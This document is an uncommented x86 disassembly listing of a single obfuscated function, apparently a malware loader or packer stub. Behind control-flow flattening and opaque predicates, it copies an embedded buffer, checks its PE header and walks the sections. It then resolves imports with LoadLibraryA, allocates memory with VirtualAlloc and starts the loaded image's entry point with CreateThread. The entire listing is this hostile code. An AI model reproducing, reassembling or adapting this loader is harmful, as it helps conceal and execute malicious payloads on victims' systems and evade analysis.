imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7f0c754d
jmp 0x404d99
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x627a6fd
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb3a057c7
jmp 0x404d99
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x148], eax
mov eax, 0xca6b9b30
jmp 0x401a50
mov eax, dword [ebp - 0xec]
mov eax, 0xadb851da
jmp 0x401a50
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x6d1f374b
jmp 0x401a50
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, 0x6edea715
jmp 0x401a50
mov eax, 0xf20f7cc6
jmp 0x401a50
cmp dword [ebp - 0xfc], 0
mov eax, 0x16ea5c67
mov ecx, 0xcd46d28f
cmove eax, ecx
jmp 0x401a50
mov eax, 0x80a500ec
jmp 0x401a50
mov eax, 0x85c41e72
jmp 0x401a50
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
mov eax, 0x3247b6c
jmp 0x401a50
mov ecx, dword [ebp - 0x100]
mov eax, 0x4b53511c
mov dword [ebp - 0xcc], ecx
jmp 0x401a50
cmp byte [ebp - 0x6b], 0
mov eax, 0xd960399b
mov ecx, 0xe3ec8ad4
cmovne eax, ecx
jmp 0x401a50
mov eax, 0x636aee29
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xe86b5c0
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb27829cd
jmp 0x404d99
movzx eax, word [ebp - 0xc6]
shr eax, 0xc
mov dword [ebp - 0x154], eax
mov eax, 0xdd708305
jmp 0x401a50
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xdc]
mov esi, 0xa6067a6e
mov ebx, 0xfe767962
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xfe767962
jmp 0x401a2d
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x178], eax
mov eax, 0x26b5a035
jmp 0x401a50
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0xb8d7484b
jmp 0x401a50
mov eax, 0x811d9c50
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0xce1b500a
mov esi, 0xb3a057c7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb3a057c7
jmp 0x404b76
mov eax, 0x992bc636
jmp 0x401a50
mov eax, 0x168a4c60
jmp 0x401a50
cmp byte [ebp - 0x68], 0
mov eax, 0xb6d10326
mov ecx, 0xb92adee2
cmovne eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, 0x634ef92e
jmp 0x401a50
mov eax, 0xb6d10326
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xe17d69cd
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd4d9db08
jmp 0x404d99
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0x852e96e6
jmp 0x401a50
mov eax, 0x4e25f220
jmp 0x401a50
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xa8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov ecx, 0x4d830ffb
mov eax, dword [ebp - 0x74]
cmp dword [eax], 0
mov eax, 0x3045c2d0
cmove eax, ecx
jmp 0x401a50
mov eax, 0xbfe29247
jmp 0x401a50
mov eax, dword [ebp - 0x38]
mov eax, dword [0x4b03c0]
mov esi, 0x55066cd2
mov ebx, 0xb27829cd
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb27829cd
jmp 0x401a2d
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x66f98b4a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x26e07c0b
jmp 0x404848
mov eax, 0x627a6fd
jmp 0x401a50
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0x2db97cfa
jmp 0x401a50
mov eax, dword [ebp - 0x1c]
mov esi, 0x45da3e81
mov ebx, 0x524554d8
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, dword [0x4b03c0]
mov dword [ebp - 0xec], ecx
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x524554d8
jmp 0x401a2d
mov eax, dword [0x4b03c0]
mov esi, 0x4e19c29f
mov ebx, 0x25c64106
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x25c64106
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x404e84
mov eax, dword [ebp - 0x30]
mov eax, 0x87cf5ed8
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xfe767962
mov edi, 0x3aa82d58
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
jmp 0x404ed8
mov eax, 0xfca21141
jmp 0x401a50
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0xdc], eax
mov eax, 0x4c0ca16f
jmp 0x401a50
mov eax, 0x40ba8182
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov edi, 0xc303ec6b
mov esi, 0x26e07c0b
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x108], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x26e07c0b
jmp 0x404c1c
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x28]
mov eax, 0x11aa70d5
jmp 0x401a50
mov eax, dword [ebp - 0x1b4]
mov ecx, 0xd960399b
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x98e098bd
cmove eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, 0x53e48acd
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xda287f72
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa2edaea8
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x14]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x28
mov dword [ebp - 0x1d4], eax
mov eax, ecx
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x80a500ec
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2a93a0b6
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401a50
mov eax, 0xcd2439ba
jmp 0x401a50
mov eax, 0x3ac3f23f
jmp 0x401a50
mov eax, dword [ebp - 0x1c]
mov ecx, 0x80000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1bc], eax
mov eax, 0xd0fa316e
jmp 0x401a50
mov eax, dword [ebp - 0x2c]
mov eax, 0x8ca09346
jmp 0x401a50
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
push 0x4b200
push 0x458230
push dword [ebp - 0x78]
vzeroupper
call fcn.0043be10
add esp, 0xc
push 0x4b200
push dword [ebp - 0x78]
call fcn.004016b0
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0x8336241a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x3a6a668f
cmove eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0xb7f5a5b2
jmp 0x401a50
mov eax, 0xfdad3de9
jmp 0x401a50
mov eax, 0x14f48421
jmp 0x401a50
mov eax, 0x46f40ef5
jmp 0x401a50
mov eax, dword [ebp - 0x14c]
mov ecx, 0x6de78b85
cmp eax, dword [ebp - 0x150]
mov eax, 0xf803c1ef
cmovl eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov edi, 0x4637d217
mov esi, 0xda0ed94b
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xda0ed94b
jmp 0x404c1c
mov eax, 0x378719b0
jmp 0x401a50
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx]
mov esi, dword [ebp - 0x34]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*8 + 0xc]
push dword [ebp - 0xc4]
push dword [ebp - 0x1c4]
push dword [eax]
push ecx
vzeroupper
call fcn.00401820
add esp, 0x10
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x71e34a55
jmp 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0x7b34bd45
jmp 0x401a50
mov eax, dword [ebp - 0x1c]
mov eax, 0xd0f99856
jmp 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0x87b9a3fd
jmp 0x401a50
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x78]
mov eax, 0xd384917a
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x5e282729
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4793076
jmp 0x404ece
mov eax, dword [0x4b03c0]
mov edi, 0x68564ac6
mov esi, 0x3177f6ed
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3177f6ed
jmp 0x404c1c
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, 0x26fb527f
jmp 0x401a50
mov eax, 0xb798c66f
jmp 0x401a50
mov eax, 0x252e0bc5
jmp 0x401a50
push 4
push 0x3000
push dword [ebp - 0xf8]
push dword [ebp - 0xcc]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ecx, 0x39b0fe9d
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 4], 0
mov eax, 0xa9dce36c
cmove eax, ecx
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0xadb851da
mov esi, 0xce39abd0
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xce39abd0
sete al
cmove ecx, ebx
cmp dword [0x4b03bc], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov esi, 0x574f04d0
mov ebx, 0x9bd2230a
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0xc]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9bd2230a
jmp 0x401a2d
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0xae7db509
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov edi, 0x317c14cc
mov esi, 0xd90a101e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd90a101e
sete cl
cmove eax, edi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401a50
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xa4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x4e25f220
jmp 0x401a50
mov eax, 0x16428b95
jmp 0x401a50
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, 0x54c8873e
mov ecx, 0x5e87f9a2
cmove eax, ecx
jmp 0x401a50
mov eax, 0x314eaf66
jmp 0x401a50
mov dword [ebp - 0xcc], 0
mov eax, 0x4b53511c
jmp 0x401a50
mov eax, 0xfa59af3d
jmp 0x401a50
mov eax, 0x852e96e6
jmp 0x401a50
mov eax, 0xf7736afe
jmp 0x401a50
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x24]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x992bc636
jmp 0x401a50
mov eax, 0x188fd7be
jmp 0x401a50
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, 0xbc9dc8e4
jmp 0x401a50
mov eax, 0xc91af18c
jmp 0x401a50
mov eax, 0x8f52153c
jmp 0x401a50
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xdba81a0c
setne byte [ebp - 0x68]
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x59fd5e2c
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xc23fc269
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8c08d151
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401a50
push 0x400
push dword [ebp - 0xd8]
push dword [ebp - 0xd4]
vzeroupper
call fcn.0043be10
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov eax, 0xa0b5e4fb
jmp 0x401a50
mov eax, dword [ebp - 0x118]
mov edx, 0x3e7a0f3c
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x114]
cmp ecx, eax
mov eax, 0xf6f93730
cmovl eax, edx
jmp 0x401a50
mov eax, dword [ebp - 0x18]
mov eax, 0x3a4a065d
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x9281f43a
mov edi, 0x3a4a065d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401a50
mov eax, 0xa9036d9b
jmp 0x401a50
mov eax, dword [ebp - 0x18]
mov esi, 0xfa835d3d
mov ebx, 0x9281f43a
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9281f43a
sete cl
cmove eax, esi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xe4ef578a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5eda6fe6
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401a50
mov eax, 0x4b305ef4
jmp 0x401a50
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, 0x6a40a686
jmp 0x401a50
mov eax, dword [ebp - 0x1d4]
mov eax, dword [eax]
add eax, dword [ebp - 0x1d0]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov ecx, 0x7e2d053d
mov eax, dword [ebp - 0x8c]
cmp byte [eax], 0
mov eax, 0xa1be415
cmove eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov eax, 0x4df6800f
jmp 0x401a50
cmp eax, 0xd384917a
jne 0x401a50
mov eax, dword [ebp - 0x90]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00438f90
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret